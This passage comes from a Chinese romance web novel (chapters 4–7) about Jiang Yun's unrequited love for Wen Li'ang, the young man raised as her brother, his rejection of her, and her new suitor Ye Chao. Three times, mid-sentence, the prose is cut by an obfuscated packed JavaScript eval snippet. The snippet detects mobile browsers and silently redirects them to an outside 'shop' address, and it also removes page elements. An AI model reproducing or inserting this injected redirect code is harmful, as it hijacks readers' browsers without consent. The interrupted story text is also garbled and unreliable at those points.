钥匙拧开门锁,家里静悄悄的,只有墙上时钟走针发出的声响,这会已经快十二点,姜淑玢肯定已经睡了,可楼道处还开着夜灯,像是特意给她留的。 姜筠上了二楼,昏黄的壁灯下,电视机却开着,温礼昂坐在客厅看电影。 是一部老电影,黑白默片,是她再多看一眼就会犯困的类型。 温礼昂长腿交叠,鼻梁上架着金丝眼镜,看得极其专注,这个时间点他早该休息了,可他却出现在这,她理所当然地认为他是在等她。 果然,她经过时,他开口问她了。 “回来了?” 姜筠浑身一震,心里暗喜,却装作镇定地应了声:“嗯。” “去洗澡休息吧,不早了。” 她脚步放慢,等着他问那个男人的事,可他什么都没有说。 甚至他的语气和往常没有任何差别。 很稀松平常的语气。 他只字未提刚才送她回来的那个男人。 像是漠不关心、毫不在乎。 这意味着她今天所有事情都白做了。 甚至他放在桌面上的手机,显示的还是和覃仪的聊天记录。 两人刚还在微信上互道晚安。 在上楼前,她想了很多话噎他,想故意激怒他,现在却显得她像还没长大的、无理取闹、只想吸引大人注意的小孩。 这一场她臆想出来的战局,她仍是败方。 【到家了?】 手机提示音响起,姜筠的消息发了过来。 【今天七个男的,三个都问我要你微信,你说我给不给?】 姜筠把手机攥紧,屏幕渐渐由亮转暗,她忽然觉得很没有意思,身体疲惫,到达了某个临界点。 她没有去房间换衣服,而是径直在温礼昂旁边坐下。 光影昏黄,她和温礼昂隔着半个沙发的距离,看起了默片。 没有任何声响,没有任何言语,沉默且安静,偌大的客厅变成了一个透明的塑料袋,而她是装在塑料袋里被抽走氧气的鱼,将近缺氧而亡。 窒息,快要窒息。 电影还在播放,视线渐渐变得模糊,难以聚焦。 泪眼朦胧中,姜筠在想,他看得那么认真,有没有发现她哭了呢。 4.第四章 这天晚上,久违地,姜筠又梦到了十八岁生日那天。 她已经很久没有梦到那些画面了。 那本来是她人生中最幸福的一天。 彼时,高考刚结束不久,卸下一直以来的重担,崭然一新的未来展开在她眼前,等高考成绩出来,她就可以去温礼昂所在的城市上大学了。 她和温礼昂约好的,大学他们也不能离得太远。温礼昂答应过她,最少一周要来找她三次,虽然还是太少了,但没关系,她也可以去找他。 每每想到这里,她都觉得人生充满了希望。 那天,邹淑玢给她买了生日蛋糕,姜永晟给她买了她一直想要的电脑和手机,陶影送了她最喜欢的明星写真,一整天她都被爱包围着。 心情像踩在云里,漂浮在空中,快乐得不真实。 到了晚上,关了灯,所有人给她唱起了生日歌,她闭上眼睛,双手合十许愿。 这个愿望已经藏在心里很久了,她希望今晚就能实现。 十八岁的生日愿望,青春期里最重要的一个愿望,寄托了她最旖旎的幻想。 再次睁开眼睛,烛光摇曳,她第一个看到的人就是温礼昂。 他站在她对面,光在他高挺的鼻梁打下阴影,狭长的眼睛此刻正专注地看着她,嘴角挂着淡淡的笑意,他一边笑,一边为她唱着生日歌,眼里只有她一个人。 她忽然感慨,怎么能不喜欢他呢。 眼前的人对她总是那么好,如果说在这个世界上只有一个人会永远包容她的任性、矫情和无理取闹,那一定是温礼昂。 她不是一个容易被哄好的人,经常钻牛角尖,可他总能在她想法偏离之前,让她回到正轨。 她有时很悲观,有时又乐观得不像话,但他总能安抚好她的情绪,他会在她最泄气的时候鼓舞她,让她重新振奋起来,引导她变成更好的人。 他会因为她一句玩笑话,去海边录白噪音给她当助眠音乐,会因为她生病感冒,从北城请假回来看她。 她想看日出,可山路走到一半又嫌累,他曾经背她走过最难走的山路,一起在山顶看过最美的日出。 她说的每一件事他都记得,答应她的事也一定都会办到。 初中的时候,她普通话有口音,常常被别人笑,为了证明自己,她报名参加了演讲比赛。 温礼昂知道后,下课后不再去打球了,每天陪她练习。 她的普通话是从能字正腔圆地念出他的名字开始练起的。 陶影说找男朋友要找事事有回应的,从前姜筠不觉得这有什么,甚至因为温礼昂,她觉得所有男人都是这样的,并没有什么稀奇,后来她才知道她的想法有多天真。 温礼昂只有一个,对她那么好的人也只有一个。 还有十分钟就到零点,生日会结束,陶影回了家,爸妈在收拾餐桌,姜筠戳了下温礼昂的胳膊。 “你的礼物呢?你不会没给我准备吧。”她佯装生气,撇了撇嘴。 温礼昂嘴角微勾,指了指上面。 “在楼上?”她小声问。 “嗯。” 他点了点头。 “我要看!”她晃了下他的手臂。 “好。” 她的要求,他向来都会满足。 于是,话音刚落,他牵过她的手,带她上楼。 那一刻,蝴蝶振翅,刮过她的心脏,手心濡湿得不像话。 姜筠去了他的房间,她不是第一次去温礼昂的房间,可不知为什么,今晚心跳得特别快。 在拿出礼物前,温礼昂问了她一个问题。 “你刚才许了什么愿望?” 姜筠眨了眨眼,声音因为紧张而变得干涩。 “你真的想知道?” 温礼昂微笑点头,狭长的眼睛弯了弯。 姜筠没有眨眼,也不敢眨眼,她就这样盯着他的眼睛。 酝酿已久的话,马上就要脱口而出。 心脏快要从嗓子里跳出来。 她已经十八岁了,她已经高考完了,她可以做她想做的事了,所以她一刻都不想等了,她想告诉他,她喜欢他,很喜欢很喜欢,从来没有过的喜欢。 她从前不知道竟然可以这么喜欢一个人,喜欢到想一辈子和他在一起。 一辈子明明那么长,可她才十八岁,就已经这么想了,想把他的名字和她的名字永远绑在一起。 许是她沉默得太久,温礼昂以为她不想说,转过身在书架上翻找着什么。 姜筠心里已经翻起惊涛骇浪,此刻的温礼昂离她不过半米的距离,忽然她走了过去,踮起脚,在他脸上印下一吻。 “温礼昂,”她小声喊他的名字,“这就是我的愿望。” 时间按下暂停,后来,她想,就是在这一刻,她打开了潘多拉的盒子,自此就无法再回到过去了。 脸颊处传来湿润的触感,温礼昂这才意识到发生了什么,瞳孔因为诧异而放大,眉头微微皱起,他的手刚触碰到书架上他给姜筠准备好的礼物,旋即就松开了手。 身后,他听见少女羞怯却坚定的声音:“温礼昂,我喜欢你。” 或许是因为紧张,她的声音还微微发着抖。 “其实我一直有一个计划,等到我高考结束,十八岁生日这天,我要告诉你我有多喜欢你。你不知道我总是梦到你,特别是你上了大学以后,我见不到你,你就总出现在我的梦里。 有很多次,我都懊悔为什么我比你小一岁,不然我就可以和你一起上大学了,就不用再等一年了。你知道我多担心你上大学后喜欢上别人,和别人谈恋爱,所以每次打电话给你,我都害怕听到电话里传来女生的声音,但幸好没有。你是不是也在等我呢? 快要高考那几天,我特别兴奋,同学们都说我很奇怪,但只有我知道,因为快点高考完,我就可以去见你了,我要去北城找你,我要和你说我有多喜欢你。 我知道我们如果在一起一定会面对很多问题,可能未来会很辛苦,但不管以后要付出什么代价,也不管别人怎么看我,只要你也喜欢我,我就什么都不怕。” 房门还是开着的,姜筠说完,从身后抱住了他。 拥抱的瞬间,楼下甚至还能听到邹淑玢和姜永晟说话的声音。 但就像她说的,她什么都不怕。 只要他也是喜欢她的,她不觉得有什么困难是克服不了的。 心里像被点燃了火苗,她觉得此刻浑身都充满了力量,还有对未来的期待,她没有一刻像现在这么坚定又满足。 她把温礼昂抱得越来越紧,侧脸贴在他的背,但随后温礼昂的手覆在她的手上,她的心霎时凉了半截。 因为,他把她的手松开了。 与此同时,他低哑的声音落在耳边。 “对不起,阿筠。” 姜筠就这么僵在原地。 “我已经有喜欢的人了。” 恍如冷水从头泼下,沸腾的血液在急速冷却。 她忘记那天她是怎么离开他房间的,也忘记她有没有哭,她只记得温礼昂连礼物都没有给她。 从那天起,温礼昂就一直躲着她,他去了云城旅游,海边的照片出现了女生的裙摆,她不知道这是不是就是他说的“他喜欢的人”。 她连问的勇气都没有。 六月下旬,温礼昂还是没有回来,但她的高考成绩出来了,考得很好,不出意外,她的分数刚好够得上他所在的大学。 她鼓起勇气给他打电话。 电话接通。 陌生的语气,客气的口吻,她很不习惯,但她不舍得挂掉电话。 “温礼昂。” “嗯?” “你说,B大和T大,这两个学校哪个好?” 她故意拿了两个分数接近的学校去问他,专业排名也差不多。 这两个学校一个在北城,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477375|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个在沪市,她想知道他会怎么选。 电话里,温礼昂沉默了一会,开口:“T大吧。” 他在B大,但他却说了另一个学校。 看来他再也不想看到她了。 —— 做了一晚上的梦,姜筠起床时头疼得像要裂开,眼睛瞥到窗外那家开了十几年的早餐店,恍惚间以为还在梦里。 打开手机,收到三条好友验证信息。 应该都是陶影推给他们的。 她记得昨晚她明明拒绝了。 往回翻了下,果然看到陶影早上发过来的消息。 【筠筠,给我个面子加一下吧,聊两天晾着他们也行~】 【实在不行,你就只加叶弨,他说要给我送个miumiu的包,那个包我真的很想要,求你了,哭哭T T】 姜筠叹气,放下手机去洗漱。 整个人昏昏沉沉的,如同宿醉,她捧了一把冷水洗脸,企图让自己变得清醒。 脸还没擦干,她就走出了卫生间。 温礼昂不知什么时候坐在客厅的沙发,手里捧着iPad看新闻。 听见她出来,转头看她,姜筠这会刚洗完脸,白色的真丝睡衣胸前湿了一大块,温礼昂立刻移开眼睛。 “换衣服,下楼吃午饭。” “哦。” 姜筠木讷地应了声。 听到她应答,温礼昂没再多说,下一秒起身下楼。 姜筠看着他的背影,和昨晚梦境里的他重叠在一起,眼睛莫名变得酸涩。 换了身衣服,瞥到放在沙发上的手机,屏幕亮起来,她又看到了上面的验证消息。 还是不加了。 这个叶弨总让她想起一个人。 姜筠下楼,餐桌上坐齐了人,只有她的位置还空着。 邹淑玢招手,喊她过来吃饭。 可她还记得昨天这个位置坐的人是覃仪,哪怕不是覃仪,迟早有一天,也会有人坐在这里,取代她的位置。 餐桌上,邹淑玢没聊几句就开始感慨。 “最近真是喜事连连啊,你看筠筠也谈恋爱了,你哥和小仪也发展得不错,看来我真得找人算算明年哪天是好日子了。” 邹淑玢又开始满嘴跑火车,姜筠伸筷子夹了块牛肉,没说话。 “筠筠,昨天和那小伙子怎么样了?什么时候开始的,一直瞒着家里,”邹淑玢望向温礼昂,“我昨天问你哥,他也什么都不知道,瞒得这么严。” “还没认识多久。”她言简意赅,低头吃饭。 “这样啊,我还想说让你过两天带回家里看看呢,不过也不急,趁现在年轻,就应该多谈几段恋爱,多比较才知道哪个最好。” 邹淑玢不是那种不开明的父母,姜筠刚上大学,她就劝她多谈恋爱,好好享受大学生活。 “好啊,那我哪天把他们都叫到家里来,让哥也帮忙挑挑,”姜筠开起玩笑,顺势拉了下温礼昂的袖子,“你说好不好,哥?” “你看这俩孩子,前几天还不对付呢,现在关系又这么好了。”邹淑玢笑着对姜永晟说。 而姜筠扭头看向温礼昂,他表情未变,微笑说道:“好啊。” 姜筠指甲快掐进了肉里,掌心刺痛,这感觉反复提醒着她不该再对眼前的人有任何期望。 姜永晟忽然想起一件事,也加入话题:“对了,囡囡,你大学那个男朋友是怎么回事,那会不是挺喜欢的,暑假都不愿意回家里,说要和他一块去旅游,后来怎么就分手了?” “哥不喜欢,所以就分手啦。”姜筠说得云淡风轻,眉毛都不带皱的。 “还有这种事?我看那男孩子挺好的,”姜永晟责怪地看向温礼昂,“筠筠,有时候你也不能太听你哥的话,你哥估计是不舍得你被别人骗走了才这么说的。” 姜筠觉得讽刺,眯起眼睛笑,故意凑近,问坐在她旁边的温礼昂:“是吗,哥也会不舍得我吗?” 5.第五章 话音落下,气氛有了微妙的变化,但除了她和温礼昂,没人察觉到其中的暗流涌动。 姜筠捏紧了手里的筷子。 “当然会。” 温礼昂缓缓开口,眉心微动,右手扶了下镜框。 姜筠浑身一震,呼吸将近停滞,转头,他又用那样深情的、容易让人产生错觉的眼神看着她,仿佛还有千言万语没有说出口。 这一眼,让她又萌生了一些不该有的期许。 她还想追问,可姜永晟打断了这焦灼的气氛:“阿礼,你下次可不能乱说,筠筠会当真的,要是毁了你妹妹的姻缘,以后可怎么办?” 温礼昂哼笑了声,漫不经心地应道:“好,我知道了。” “你妹妹好不容易谈个男朋友,还让你给搅黄了,”姜永晟说着说着陷入了回忆,“筠筠那时候多喜欢他,我还没见她对谁这么上心过,说起来,这还是筠筠的初恋吧……” 听到后半句,温礼昂嘴角勾了勾,可神色却淡了些。 “嗯,怪我。” 嘴里咀嚼的食物泛起苦味,姜筠转头望向温礼昂,心里说不出是什么滋味,只觉得像是有蚂蚁爬过她的心脏,啃噬了一口,又痒又麻。 邹淑玢岔开话题,起身给两个孩子舀汤,一边叮嘱:“你们俩多喝点汤,等回了北城可没有这样的汤喝了,外面的汤全是味精做的,一点营养都没有,趁还在家多喝点补一补。” 这番论调姜筠从小到大都听腻了,也就温礼昂有耐心每次都配合地把汤喝完。 只是,饭还没吃完,中途,温礼昂接了个电话,似乎是工作上有什么重要的事情,他起身去了楼上的书房,一直到吃完饭都没再下楼。 邹淑玢边收拾餐桌边和她说。 “明天记得早点起床。” “为什么?” “你哥明早就走了,你不起来送送?” “明天?”姜筠愣了愣。 “是啊,本来还说多呆几天的,不知道怎么回事,应该是公司有事吧,也可能是顺便送送小仪,她在北城实习,假期快结束了。” 厨房水龙头的水柱冲刷到手上,冰凉的触感并未使她回过神,姜筠抿紧唇角,没说话。 她想到了在北城的家,那个只有她和温礼昂住的地方,他也会带覃仪进去吗? 甚至是,他们以后会同居吗? 一整天,姜筠都没有出门,微信上消息频繁弹出来,周誉清发了一家餐厅的定位,问她晚上有没有时间。 她没回复,窝在二楼客厅的沙发看电影。 是那天温礼昂看的那部默片,那天晚上她没看完,但没想到今天也仍然没办法看完。 因为看到一半,温礼昂房间就传来脚步声,随后是门把拧动的声音。 在温礼昂走出房门前,姜筠把电视关了,起身准备回房间。 只是,两人擦肩而过的时候,温礼昂喊住了她。 他站在她面前,问了她一个问题。 他说:“所以,真的是因为我吗?” 这没头没尾的一句话,把她问懵了。 “什么?” “你和那个人分手,是因为我吗?” 这件事过去那么久,她都快不记得其中的细节了,没想到他那么在意,竟然还主动追问。 姜筠冷笑了声:“是或不是,很重要吗?” 沉默在两人间蔓延,温礼昂久久没有回答,他没有看姜筠,而是低着头,额前的碎发划过眼尾,掩饰了他部分的情绪。 “对,是因为你,”姜筠沉不住气,未等他回答先开口,“因为我和他在一起之后,你对我越来越冷淡,你不回我的消息,不听我的电话,也不来学校找我了,我接受不了你的冷落,而且一开始我只想和他玩玩的,但慢慢地,我发现我好像也有点喜欢他,可是人怎么会同时喜欢两个人呢……” “姜筠,你——” 温礼昂似乎有些生气,额角处青筋凸显,她极少看他这么不冷静像要失控的样子,但她不知道他生的是哪门子的气。 是气她和陈琎分手,还是气她说喜欢陈琎。 “我还记得,我和他分手之后,你有一段时间对我很好,好到让我觉得你也是喜欢我的,让我觉得我们马上就要在一起了,可是,”姜筠深吸了一口气,眼泪又要不争气地掉下来,但她忍住了,“可是,很快你又恋爱了。温礼昂,是我太喜欢你了吗,所以每次都会把错觉当成真的……” 对温礼昂,她永远都学不会拐弯抹角,她曾经无数次地对他表达过她的喜欢,但每一次,他都拒绝了她。 果然,这次,也不例外。 温礼昂眉头皱着,右手攥紧。 “姜筠,我说过了,我们不可能。” “我们不可能,那你和谁有可能?”姜筠眼眶又红了,急切地追问,“覃仪?” 猫从地上跳到沙发,双脚一踩落在了遥控器上,下一秒,面前的电视屏幕亮了起来,右上角的播放记录显示着十分钟前的观影记录,正是他昨晚看的那部默片。 温礼昂侧过头,避开她炽热的眼神,声音沙哑得不像话。 “嗯,我对她有好感。” 姜筠的眼泪在这一刻终于掉下来。 很好, 她悬着的心终于死了。 —— 翌日一大早,姜筠的房门就被扣响,木质门发出沉闷的声音,敲了好一会,对方终于停了下来,随后听到邹淑玢的声音被隔在门外。 “唉,这孩子怎么又把我说的话忘了,说好今天要早起的,怎么都喊不醒。” 又敲了三下。 “筠筠,快起床洗漱,出门送送你哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489717|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 许久都等不到回应,终于,邹淑玢放弃了,那脚步声渐行渐远,姜筠躺在床上缓缓睁开了眼睛。 天花板的白色晃着她的眼,墙上的空调呼呼地往外吹着风,今天难得阳光明媚,窗外碧空如洗,预示着今天会是个好天气。 其实她六点就醒了,那时候天还是灰蒙蒙的,她睁开眼望着天花板,又翻了几次身,不知想到了什么,竟然一直没再睡着。 就那样木讷地发着呆。 好像什么都想了,又好像什么都没想。 九点半,楼下传来说话声,隐隐约约听到有女声,姜筠心沉了半截,从床上起来。 目光在看到楼下覃仪的身影时,她竟有种意料之中的感觉。 果然是为了送覃仪,所以他才提前了几天回北城。 不知是不是因为站在空调风口久了,姜筠浑身发冷,全身的毛细血管急速收缩,胸闷得慌。 她站在窗前看着温礼昂把覃仪的行李放进后备箱,又看到他拉开副驾驶座的车门,像是担心她会撞到头,手顶在门框处。 那么体贴,就像平时对她那样。 她曾经以为自己是温礼昂心里的特例,是独一无二的,现在她觉得自己格外可笑。 覃仪已经上了车,温礼昂往家门口的方向回头看了眼,邹淑玢知道他在找姜筠,连忙说:“筠筠估计还没醒呢,刚才喊了半天都没下来,肯定昨晚又熬夜了。” 温礼昂嘴角弯弯,笑容温煦。 “没事,让她多睡会吧。” 接着又说,“你们多保重身体,我下次再回家看您。” 邹淑玢笑得眼尾皱纹加深,摆摆手:“别担心,我和你爸都好着呢,你平时工作那么忙,记得按时吃饭,不用惦记着家里。” 温礼昂笑着点点头,应了声好。 只是,在关上车门前,温礼昂不知是发现她了,还是习惯性的动作——他往楼上姜筠的房间看了眼。 姜筠心里一惊,立刻闪身躲到了墙后的窗帘。 温礼昂看到窗帘飘动处露出的一节白皙手臂,心里了然,右手扶了下镜框,收回视线。 等到楼下传来轿车发动的引擎声,姜筠才又探出头往楼下看。 车尾扬起灰尘,那辆白色的玛莎拉蒂消失在街道转角,姜筠久久没有收回视线。 是的,她必须非常努力才能装作毫不在意。 毫不在意这个人,以及和他有关的一切。 阳光洒进窗棂,昨晚还没看完的书放在桌面,风翻动窗帘,也翻动了书页。 在书页的左侧,有一句被她标注起来的话—— “你哪里知道我对你的爱到了什么程度,那是火,是烧熔的铅,是一千把插在我心上的刀子! ” 而温礼昂,就是那把插在她心口很多年的刀子。 6.第六章 地面的水洼倒映着城市高楼的影子,星星点点的光在水里跳跃,烟雾从楼角飘散到空中,给黄昏的夕阳加上了一层朦胧的滤镜。 陶影伏在栏杆处呼了一口烟,右手指尖夹着香烟,有一下没一下地抽着,风将头发黏在脸上,像一道道黑色的划痕,她不耐烦地用手拨弄了下。 旁边正在打电话的姜筠突然没了声,她扭头去看,冷不丁撞上她的视线。 姜筠这会不知怎么正看着她,准确来说,是看着她手里那燃了一半的烟。 被盯得心里发慌,陶影肩膀哆嗦了一下,立刻掐灭了手里的烟。 “是不是熏到你了?” 做了亏心事,她这会是有点心虚。 姜筠摇头。 “没有。” “那怎么这样看着我?” “我只是——” 说到一半,姜筠没再继续往下说。 她只是有那么一瞬间,很想抽烟。 她很想知道那是怎样一种感觉,尼古丁吸入肺里,过滤出来的会是快乐么,不然为什么那么多人沉迷于此。 “最近三天两头来找我,阿姨又催你去找工作了?”陶影对她家的事略有耳闻,不以为然地说,“阿姨真是多虑了,有你哥在,怕什么?你哥赚的钱,够你下辈子都不工作了。” 姜筠心里梗了下,喉咙发紧:“他是他,我是我。” “分这么清楚?他的不就是你的?”陶影碰了下她的胳膊。 “不一样。”姜筠的表情有些抗拒。 “你以前可不是这样说的,是谁以前天天和我炫耀你哥有多好,”陶影当她在无病呻吟,感慨道,“唉,我要是有一个像温礼昂这样的哥哥就好了,什么都不用愁,特别是不用为了钱发愁,他那么关心你,又对你那么好,你一丁点事,他都紧张得不行。” 她还记得大三暑假那年她和姜筠去海城旅行,姜筠在海边不小心摔了一跤,膝盖摔破了皮,晚上伤口包扎后还渗出了血,那纱布沾着血看着挺瘆人的,睡觉前,她发了条朋友圈,大概是说心疼姜筠之类的话。 结果,第二天早上,温礼昂出现在他们酒店楼下。 他风尘仆仆地从另一个城市赶过来,眼里还泛着红血丝。 那样子像是一夜没合过眼,见到姜筠的瞬间,他眼里的疲惫和担忧终于消减,望向姜筠的眼神温柔得能浸出水。 姜筠还愣在原地,他蹲下身去检查她膝盖处的伤口:“好些了没?要不要去看医生?” 那温声细语的模样,陶影看了都羡慕。 话题到了这,姜筠就哑了声,没再说话。 两人下楼打车去网球馆,这会正好是晚高峰,路上堵得厉害,半个小时不带动的。 陶影频频往窗外看,正急躁得想发火,突然听见姜筠开口。 她说:“阿影,我把温礼昂的微信删了。” “啊?”陶影瞳孔放大,受到了冲击,“为什么?” 脑海里想起温礼昂的模样,那么温柔谦和的人,她甚至无法想象他和别人起冲突的模样。 她当下断言:“不用说,肯定是你的问题。” 车流终于开始松动,此起彼伏的喇叭声终于停了下来,司机打转方向盘,放起了电台节目。 姜筠的声音夹在晚间新闻里,听不太真切。 “嗯,算是吧。” 是她的问题。 是她对他有了非分之想。 如果她一直恪守着那条线,不逾越那一步,她和温礼昂就可以永远维持表面上的平和,那温礼昂也可以装作什么都不知道。 她只要扮演好妹妹的角色就可以了,可她太贪心。 可她偏偏不是一个会掩饰的人。 她那么喜欢他,让她怎么掩饰? 于是那天晚上,喝了酒,她又忍不住从身后抱住了他,一边亲他耳后的皮肤,一边含糊不清地问他:“温礼昂,我好不好看?” “说话。” 温礼昂不说话,她踮起脚咬了下他的耳朵,他发出一声闷哼,随后立刻把她环在腰间的手拿开。 “姜筠!” 带有呵斥的语气。 她醉眼朦胧:“温礼昂,你以前夸过我好看的。” “什么时候?”他问。 那是很多年前,他和他的朋友在球场打球,她路过时听见的。 他朋友说,阿礼的妹妹长得真漂亮,学习听说也不错。 她听到温礼昂嗯了一声。 他朋友又问,她有男朋友没? 温礼昂点头。 “有。” 可她当时明明没有男朋友,他在骗人。 “比起你交的女朋友,我也不差吧,为什么你不喜欢我呢?” 记不清是第几次表白被拒绝,温礼昂的语气仍旧没有一丝松动的迹象。 她终于开始觉得累了,这不是一个好的征兆。 她做事向来不顾后果,可现在她终于觉得就这样耗下去可能永远都没有结果了。 温礼昂不喜欢她,并且是从来没有喜欢过她。 “兄妹”这两个字,定义了他们之间所有的关系。 她下定决心,再也不要联系他了。 但下定的决心又有什么用呢。 她会为了他一次又一次破例。 删微信变成了她宣泄情绪的方式,她内心还在期许着温礼昂哄她,像以前一样哄她把微信加回去。 只要他哄她一句,她又可以当作什么都没发生过。 她讨厌这样的自己,可她无能为力。 工作日的网球馆人不多,场地没有预约满,姜筠和陶影换好衣服从休息室出来,不远处迎面走过来两个人。 一个是陶影倒追了大半年的大冰山,另一个正是那天见过的叶弨。 看到冰山哥,陶影的眼睛一下就亮了,跟灯泡一样闪了闪,盯着他移不开眼。 姜筠眉头微皱:“你安排的?” 陶影立刻四指发誓,撇清关系:“不关我事啊,我还不至于为了一个Miu Miu的包就出卖我最好的朋友。” 姜筠前一秒才正要相信她,下一秒却看见她拿起球拍跑了上前,热情地邀请他们一起打球。 果然,她一看到那块大冰山就会失去理智。 姜筠扶额,恨铁不成钢。 四人局就这么组了起来,陶影出门去给冰山哥买饮料,姜筠在场边系鞋带,忽然有阴影笼罩在头顶,清澈带有少年感的男性嗓音落在头顶。 “为什么不加我微信?” 姜筠手上动作一顿,抬头看了他一眼。 那晚灯光太暗,她没太看清他的脸,现在倒是看清楚了。 她坐着,而他站着,仰视的角度,她看到他微微下垂的狗狗眼,以及高挺的鼻梁,连眉弓都长得优越,五官深邃又立体。 很年轻英俊的一张脸。 她恍惚了一下。 她怔愣的这几秒,叶弨直接坐在她旁边,挨得比较近,超出了一般的社交距离。 “我有那么让人讨厌吗,所有人你都加了,就是不加我?” 叶弨扭头看她,下垂的狗狗眼,配合说话内容显得更加无辜。 姜筠不是个容易尴尬的人,但此时此刻,她尴尬得想找个洞钻进去。 “……你是怎么知道的?” 这种事怎么会传到他那里去的? 叶弨实在不想再提起这种蠢事。 昨天在酒吧,他刚好碰上了阳子。 他正和朋友说起姜筠:“人是真漂亮,但也是真难约,加到微信到现在就只回了我两句话。” 叶弨懵了,眉头拧成川字。 “你加到她微信了?” “是啊,阿嵊也加到了,我还怀疑她是不是想养鱼呢,哪个都不放过。” 叶弨更是难以置信。 什么时候他连被养鱼的资格都没有了? 朋友看他表情不对,试探性地问了句。 “怎么,叶二,你没加到?” “……” 同伴猜到了什么,发出爆笑。 他被狠狠笑话了一通。 他实在想不通以他的条件,他哪里不如这两个人了? “所以,原因呢?” 姜筠没和他兜圈子,实话实说。 “其实我不是针对你。” “那是?” 姜筠斟酌着措辞:“你给我的感觉,像我以前认识的一个人。” 叶弨皱眉,捕捉到了话里的关键词。 “前男友?” 姜筠被噎住。 这猜得也太准了。 叶弨从他的反应就知道自己猜对了,嗤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499469|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了声。 “还真被我说中了。” 是肯定的语气。 姜筠眨眼喝水掩饰尴尬。 的确,他给她的感觉太像陈琎了,总让她不由自主地想起以前的事情。 在她的世界里已经半截入土的人,没有再被想起来的必要。 叶弨竟不介意,反而还有些得意:“那你肯定会对我感兴趣的,人一定会重复喜欢上同一种类型的人。” 颇为暧昧的话,从他口中说出来竟不觉得油腻,可能因为说话者长了一张阳光、有少年感的脸。 姜筠不置可否,把问题又抛回给他。 “那你对我这么热情,难道我也长得像你的前任?” 话音刚落,叶弨就凑近了些,似乎是在观察她的脸,下一秒,他一本正经地摇头,给出结论。 “不像,不过如果你不同意和我在一起,我可能就需要以你为模板去找下一任了。” 情话张口就来,气氛弥漫着异样的情调,姜筠不用看他八字都知道这人的感情经历不会少于十段。 “那怎么办呢——”她拉长尾音。 “嗯?什么怎么办?” “我和我前任在一起,不是因为喜欢。” “……” 叶弨被她的话噎得死死的。 捉弄完他,姜筠难得心情大好,笑得眼睛都弯了起来。 陶影这会买完饮料,提着塑料袋走了过来,给叶弨扔了一瓶。 她问:“在聊什么呢?笑得这么开心。” 姜筠立刻摇头:“没什么,开始吧。” 陶影主动提出要和冰山哥一组,姜筠也只好和叶弨一组。 定下的赌约是,输的组要请赢的组吃饭。 姜筠鄙夷且担忧地看向旁边的男人。 “说真的,你不会托我后腿吧。” 她一向好胜心很强,如果是自由组队的话,她肯定优先选冰山哥,她之前见过冰山哥游泳,运动天赋几乎点满了,爆发力很强,想到这,她又瞥了一眼叶弨,暗自打量。 叶弨此刻也正在思索,眉头皱紧。 “我尽量吧,不过我体育一直不太好。” 姜筠这下更没信心了,泄了气。 等到叶弨从更衣室出来,她忽然觉得那句质疑的话说早了。 他换了件黑色的紧身运动衣,轻薄的布料下是流畅有力的肌肉线条,兼具力量和美,一看就知道这人平常肯定有运动的习惯,宽肩窄腰,腹部没有一丝多余的赘肉。 对方像是察觉到她的视线,在她避开眼神前和她对视,嘴角勾了勾。 “看来那天我应该穿这套衣服。” 比起那天的故作热情,姜筠现在看起来才像是对他有了一点点兴趣,他在考虑下次约会的地点可以安排在泳池,让他可以充分展示他的优势。 姜筠没搭理他,咳嗽了两声缓解尴尬,拿起球拍走到场上。 许是因为太久没打,发球太低,连续三次,连球网都没过,平白给对方送分。 姜筠脸红得不像话,有些尴尬。 旁边的叶弨轻笑了声,倒也没挖苦她,走过来,右手握着她拿球拍的手调整角度。 凑得有些近,男士香水味侵袭入鼻腔,姜筠不自在地挪远了些。 双脚齐肩站立,她抛球,拉拍击打,这回,球终于越过球网。 漂亮的发球—— 双方打得有来有回,姜筠也慢慢进入了状态,全神贯注地投入到比赛里,她握着球拍在场上跑动,即便后背被汗浸湿,可她却觉得很过瘾。 她听过一种说法,汗是被身体蒸发过从毛孔渗出来的泪,大“哭”了一场过后,她觉得身体似乎有痊愈的迹象。 今天是她和温礼昂断联的第七天,没有微信、没有电话、没有见面,她没有接收到任何和温礼昂有关的消息,也不知道他和覃仪怎么样了,他们有没有在一起。 每次姜淑玢提起,她都要走远一些,她害怕听到某些她不愿意听到的消息。 掩耳盗铃成了她必须要学会的一项技能。 这几日,时常失眠发呆,时常摇摆不定,时常半夜发疯,时常在微信搜索栏输入温礼昂的手机号,时常想按下“发送添加朋友的申请”。 精神脆弱得像在走钢丝,她很需要这样一场发泄,这样一场淋漓的“痛哭”。 7.第七章 晚上七点半,终于决出胜负,姜筠输了。 额角的汗滑到脸颊,衣服快被浸湿,她拿过一旁的毛巾擦汗,又拧开矿泉水喝了一口。 